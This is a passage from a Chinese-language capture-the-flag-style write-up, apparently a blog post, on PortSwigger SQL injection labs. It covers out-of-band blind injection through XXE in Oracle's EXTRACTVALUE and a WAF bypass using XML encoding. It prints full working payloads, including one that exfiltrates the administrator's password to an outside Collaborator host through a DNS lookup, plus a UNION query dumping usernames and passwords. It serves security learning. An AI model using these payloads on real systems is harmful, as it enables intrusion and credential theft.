最后,你会在collaborator看到你所执行的payload所产生的的效果,如果没有下述的这几条dns记录,那么点击poll now。
4.6.8 参考文档
[同步、异步、阻塞、非阻塞] https://zhuanlan.zhihu.com/p/88403724
[同步、异步] https://zhuanlan.zhihu.com/p/270428703
[进程、线程] https://zhuanlan.zhihu.com/p/403313422
[解释什么是异步非阻塞] https://www.cnblogs.com/Rivend/p/12065474.html
[xxe] https://www.cnblogs.com/backlion/p/9302528.html
[burpsuite collaborator] https://portswigger.net/burp/documentation/collaborator
4.7 通过带外通道盲注获取数据
4.7.1 达成目标
需要获取到users表里面的administrator的密码,然后进行登录。
4.7.2 攻击步骤
一样的网站,一样的输入点
第一步,判断其注入点。
# payload
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
第二步,获取其administrator的密码。
# payload
# 该payload主要是利用了xxe+out of band进行攻击
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
密码:pahlvmit240jk3oq7dvn
4.7.3 两个问题
第一个问题,在查询了大量对于extractvalue报错注入的原理文章里,都只是提到了利用xpath的语法错误使得函数报错从而进行注入,但是对于为什么extractvalue函数报错对于sql语句会进行回显,以及为什么函数都报错了,却还能显示sql语句的执行结果,比人并未看到其解答。
第二个问题
# payload
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
# 部分与外部服务器,在这里也就是collaborator相关联的payload
"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"
观察上述的第二个payload中的域名,SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN,按理来说无法与该域名的服务器进行通信,但是却能在collaborator中看到其数据包。
首先,回答第一个问题。
使用extractvalue进行注入,一般是出现在盲注的情况下。利用了该函数的xpath语法的错误,导致的注入。简单来说这就是它的原理。但是这并不能回答所提出的问题。因此稍微展开讲讲。
extractvalue(xml_document, xpath_string),该函数用来提取其xml文档里面的特定元素的文本内容。在上面所提到的payload当中,xmltype函数里面的内容就是xml文档,xpath就是用来对xml的元素进行搜索的。
# xpath简单示例
/element/sub_element
这里的报错注入就是利用了xpath的错误语法,比如在xpath参数位置输入"~",使其产生报错。但是该参数的错误怎么会导致其最后报错显示出sql语句所返回的结果的呢?
这是因为extractvalue的函数处理方式。以下面的payload为例:
首先extractvalue函数的第二个参数,也就是concat(...),它是一个sql语句。它会执行其对应的操作,然后返回一个结果作为其函数的第二个参数。
其次就是extractvalue函数当发生xpath语法错误的时候,那么就会在报错的时候返回其参数值,在这里也就是第二个参数里面的sql语句所返回的结果。
# 关于extractvalue报错注入的典型payload
extractvalue(1,concat(0x7e,user(),0x7e,database())) #
现在回答第二个问题。在一个利用了带外通道技术的sql语句里面,为何提供了一个不存在的域名,能在dns服务器上面看到sql语句的执行结果。
再举个例子来描述一下这个问题:
# payload
# 后面的BURP-COLLABORATOR-SUBDOMAIN是burpsuite里面的collaborator的域名
"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/"
为什么上述payload的sql语句的执行结果能在collaborator里面看到。
要解答上面所提到的问题,就不得不回顾dns的查询过程:
把上图的dns解析过程和payload结合起来可以发现,最终对于dns的查询能找到BURP-COLLABORATOR-SUBDOMAIN这个域名,也就是burpsuite里面的collaborator的服务器,至于前面的域名,也就是sql语句那一部分,它肯定是找不到的,因为它是攻击者自己设计出来的,但是不可否认的是该域名是BURP-COLLABORATOR-SUBDOMAIN的子域名,因此在查询(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN,肯定是先找到了BURP-COLLABORATOR-SUBDOMAIN,然后在发起下一级查询,这就导致了在该dns中留下了日志记录。
那么,为什么在日志记录里面看到的是sql语句所返回的结果呢?
# payload案例
'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--
观察上面的这个payload,它是sql语句其实是嵌入在xml文档里面的,充当了外部实体引用的uri的一部分,结合前面域名解析的回答,也可以说是域名的一部分。
# 外部实体引用
<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>
在上面的例子中,remote就是外部实体,system后面的uri就是外部实体能够访问的内容。在该外部实体引用的末端出现了remote就意味着在这里会执行文档该uri的动作,也就意味着,会对相应的uri发起请求,这个请求会到服务器后端,因为有sql语句,因此会执行sql语句,返回其结果。
4.8 通过xml编码进行绕过的sql注入
4.8.1 达成目标
获取其管理员密码,然后进行登录。
4.8.2 攻击步骤
经靶场的描述,注入点在画框部分。
第一步,判断注入点。
对比上下两张图,发现响应的库存量发生了变化。库存量减少了100,这就证明该数学的加法生效,导致storeId变成了2,而这个库存量也就是id为2的库存。这也证明了该storeId是整数类型的数据。
第二步,进一步拼接payload。
# payload
union select null
发现被WAF拦截
遂利用插件Hackvertor进行模糊处理。这也可以判断出,该查询语句只有一列,由此还可以判断是字符串。
第三步,直接获取users表的账户和密码。
# payload
union select username||'~'||password from users
5.写在最后
该靶场只是介绍了关于select语句的sql注入,但是sql注入肯定不仅限于此,至于后续的学习,还需诸君多加努力。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)